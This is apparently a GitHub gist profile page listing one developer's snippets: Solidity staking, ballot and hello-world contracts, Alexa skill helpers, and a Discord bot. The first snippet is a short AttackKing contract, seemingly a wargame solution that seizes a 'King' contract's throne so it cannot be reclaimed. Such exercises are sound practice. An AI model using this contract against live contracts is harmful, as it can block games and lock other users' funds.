Skip to content

Instantly share code, notes, and snippets.

View Markkop's full-sized avatar

Marcelo Kopmann Markkop

View GitHub Profile
// This works
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.0;
contract AttackKing {
function attack(address payable _kingAddress) public payable {
(bool success,) = _kingAddress.call.gas(10000000).value(msg.value)("");
require(success, "Failed to send value!");
}
}
@Markkop
Markkop / GasSaverRewards.sol
Created April 15, 2022 02:27
A gas saver implementation for the calculating staking rewards
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./RewardToken.sol";
contract StakingManager is Ownable{
@Markkop
Markkop / SimpleRewards.sol
Created April 15, 2022 02:16
A staking contract using a loop to save rewards data for each staker
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./RewardToken.sol";
contract StakingManager is Ownable{
@Markkop
Markkop / contracts...Ballot.sol
Created April 7, 2022 20:23
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/// @title Voting with delegation.
contract Ballot {
// This declares a new complex type which will
// be used for variables later.
// It will represent a single voter.
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
@Markkop
Markkop / contracts...HelloWorld.sol
Created April 7, 2022 19:29
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.4;
contract HelloWorld {
uint256 number;
/**
* @dev Store a number in a variable
@Markkop
Markkop / strings.ts
Created January 14, 2022 18:12
locale strings
// From https://github.com/xavidop/alexa-typescript-lambda-helloworld/blob/master/lambda/custom/src/utilities/strings.ts
import { Strings, LocaleTypes } from './constants';
interface IStrings {
[Strings.SKILL_NAME]: string;
[Strings.WELCOME_MSG]: string;
[Strings.GOODBYE_MSG]: string;
[Strings.HELLO_MSG]: string;
[Strings.HELP_MSG]: string;
[Strings.ERROR_MSG]: string;
@Markkop
Markkop / helpers.js
Created January 14, 2022 18:01
ask-sdk-core helpers module
import { HandlerInput, getRequestType, getIntentName } from 'ask-sdk-core';
export function isType(handlerInput: HandlerInput, ...types: string[]): boolean {
return types.some((type) => type === getRequestType(handlerInput.requestEnvelope));
}
export function isIntent(handlerInput: HandlerInput, ...intents: string[]): boolean {
if (isType(handlerInput, 'IntentRequest')) {
return intents.some((name) => name === getIntentName(handlerInput.requestEnvelope));
}
@Markkop
Markkop / canHandle.ts
Last active January 14, 2022 18:11
canHandle example with ask-sdk-core helpers
import { HandlerInput, getRequestType, getIntentName } from 'ask-sdk-core';
const PlayStreamRequestTypes = ['LaunchRequest', 'IntentRequest'];
const PlayStreamRequestIntentNames = [
'PlayStreamIntent',
'AMAZON.ResumeIntent',
'AMAZON.LoopOnIntent',
'AMAZON.NextIntent',
'AMAZON.PreviousIntent',
'AMAZON.RepeatIntent',
@Markkop
Markkop / canHandle.ts
Last active January 14, 2022 18:11
canHandle example
canHandle(handlerInput: HandlerInput) {
return handlerInput.requestEnvelope.request.type === 'LaunchRequest'
|| (handlerInput.requestEnvelope.request.type === 'IntentRequest'
&& (
handlerInput.requestEnvelope.request.intent.name === 'PlayStreamIntent'
|| handlerInput.requestEnvelope.request.intent.name === 'AMAZON.ResumeIntent'
|| handlerInput.requestEnvelope.request.intent.name === 'AMAZON.LoopOnIntent'
|| handlerInput.requestEnvelope.request.intent.name === 'AMAZON.NextIntent'
|| handlerInput.requestEnvelope.request.intent.name === 'AMAZON.PreviousIntent'
|| handlerInput.requestEnvelope.request.intent.name === 'AMAZON.RepeatIntent'
@Markkop
Markkop / index.js
Last active October 5, 2021 13:45
Bot code from the project's first commit
// Taken from: https://github.com/Markkop/corvo-astral/commit/6455dfe7d2fd0258a2e45703cbdad7f4c8fab12c
import Discord from 'discord.js'
import { getAlmanaxBonus } from './helpers'
const client = new Discord.Client()
const prefix = '.'
client.on('message', function (message) {
if (message.author.bot) return